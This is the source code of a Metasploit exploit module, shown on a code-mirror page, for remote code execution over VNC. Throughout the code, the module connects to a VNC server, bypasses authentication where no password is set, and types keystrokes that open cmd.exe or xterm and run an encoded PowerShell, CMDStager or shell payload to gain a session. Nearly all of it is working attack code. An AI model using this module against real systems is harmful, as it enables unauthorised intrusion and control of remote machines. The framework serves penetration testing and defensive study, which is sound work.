Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
28167 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/exploitation'
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = GreatRanking
9
WINDOWS_KEY = "\xff\xeb"
10
ENTER_KEY = "\xff\x0d"
11
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::CmdStager
14
include Msf::Exploit::Powershell
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'VNC Keyboard Remote Code Execution',
21
'Description' => %q{
22
This module exploits VNC servers by sending virtual keyboard keys and executing
23
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
24
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
25
and a payload is typed and executed.
26
},
27
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
28
'Privileged' => false,
29
'License' => MSF_LICENSE,
30
'Platform' => %w{win unix},
31
'Targets' => [
32
[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
33
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
34
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
35
],
36
'References' => [
37
[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/'],
38
[ 'ATT&CK', Mitre::Attack::Technique::T1021_005_VNC ]
39
],
40
'DisclosureDate' => '2015-07-10',
41
'DefaultTarget' => 0,
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
50
register_options(
51
[
52
Opt::RPORT(5900),
53
OptString.new('PASSWORD', [ false, 'The VNC password']),
54
OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),
55
OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),
56
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
57
]
58
)
59
end
60
61
def post_auth?
62
true
63
end
64
65
def press_key(key)
66
keyboard_key = "\x04\x01" # Press key
67
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
68
keyboard_key << key # The keyboard key
69
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
70
sock.put(keyboard_key)
71
end
72
73
def release_key(key)
74
keyboard_key = "\x04\x00" # Release key
75
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
76
keyboard_key << key # The keyboard key
77
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
78
sock.put(keyboard_key)
79
end
80
81
def exec_command(command)
82
# Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer
83
delay_duration = datastore['TIME_KBD_DELAY']
84
delay_treshold = datastore['TIME_KBD_THRESHOLD']
85
delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 0
86
delay_duration = delay_duration.to_f / 1000
87
# Break down command into a sequence of keypresses
88
values = command.chars.to_a
89
values.each_with_index do |value, index|
90
press_key("\x00#{value}")
91
release_key("\x00#{value}")
92
sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 0
93
end
94
press_key(ENTER_KEY)
95
end
96
97
def start_cmd_prompt
98
print_status("#{rhost}:#{rport} - Opening Run command")
99
# Pressing and holding windows key for 1 second
100
press_key(WINDOWS_KEY)
101
Rex.select(nil, nil, nil, 1)
102
# Press the "r" key
103
press_key("\x00r")
104
# Now we can release both keys again
105
release_key("\x00r")
106
release_key(WINDOWS_KEY)
107
# Wait a second to open run command window
108
select(nil, nil, nil, 1)
109
exec_command('cmd.exe')
110
# Wait a second for cmd.exe prompt to open
111
Rex.select(nil, nil, nil, 1)
112
end
113
114
def exploit
115
begin
116
alt_key = "\xff\xe9"
117
f2_key = "\xff\xbf"
118
password = datastore['PASSWORD']
119
120
connect
121
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
122
123
unless vnc.handshake
124
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
125
end
126
127
if password.nil?
128
print_status("#{rhost}:#{rport} - Bypass authentication")
129
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
130
sock.put("\x10")
131
else
132
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
133
if vnc.authenticate(password)
134
print_status("#{rhost}:#{rport} - Authenticated")
135
else
136
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
137
end
138
end
139
140
# Send shared desktop
141
unless vnc.send_client_init
142
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
143
end
144
145
if target.name =~ /VBScript CMDStager/
146
start_cmd_prompt
147
print_status("#{rhost}:#{rport} - Typing and executing payload")
148
execute_cmdstager({ :flavor => :vbs, :linemax => 8100 })
149
# Exit the CMD prompt
150
exec_command('exit')
151
elsif target.name =~ /Powershell/
152
start_cmd_prompt
153
print_status("#{rhost}:#{rport} - Typing and executing payload")
154
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
155
# Execute powershell payload and make sure we exit our CMD prompt
156
exec_command("#{command} && exit")
157
elsif target.name =~ /Linux/
158
print_status("#{rhost}:#{rport} - Opening 'Run Application'")
159
# Press the ALT key and hold it for a second
160
press_key(alt_key)
161
Rex.select(nil, nil, nil, 1)
162
# Press F2 to start up "Run application"
163
press_key(f2_key)
164
# Release ALT + F2
165
release_key(alt_key)
166
release_key(f2_key)
167
# Wait a second for "Run application" to start
168
Rex.select(nil, nil, nil, 1)
169
# Start a xterm window
170
print_status("#{rhost}:#{rport} - Opening xterm")
171
exec_command('xterm')
172
# Wait a second for "xterm" to start
173
Rex.select(nil, nil, nil, 1)
174
# Execute our payload and exit (close) the xterm window
175
print_status("#{rhost}:#{rport} - Typing and executing payload")
176
exec_command("nohup #{payload.encoded} &")
177
exec_command('exit')
178
end
179
180
print_status("#{rhost}:#{rport} - Waiting for session...")
181
(datastore['TIME_WAIT']).times do
182
Rex.sleep(1)
183
184
# Success! session is here!
185
break if session_created?
186
end
187
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
188
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
189
ensure
190
disconnect
191
end
192
end
193
194
def execute_command(cmd, opts = {})
195
exec_command(cmd)
196
end
197
end
198
199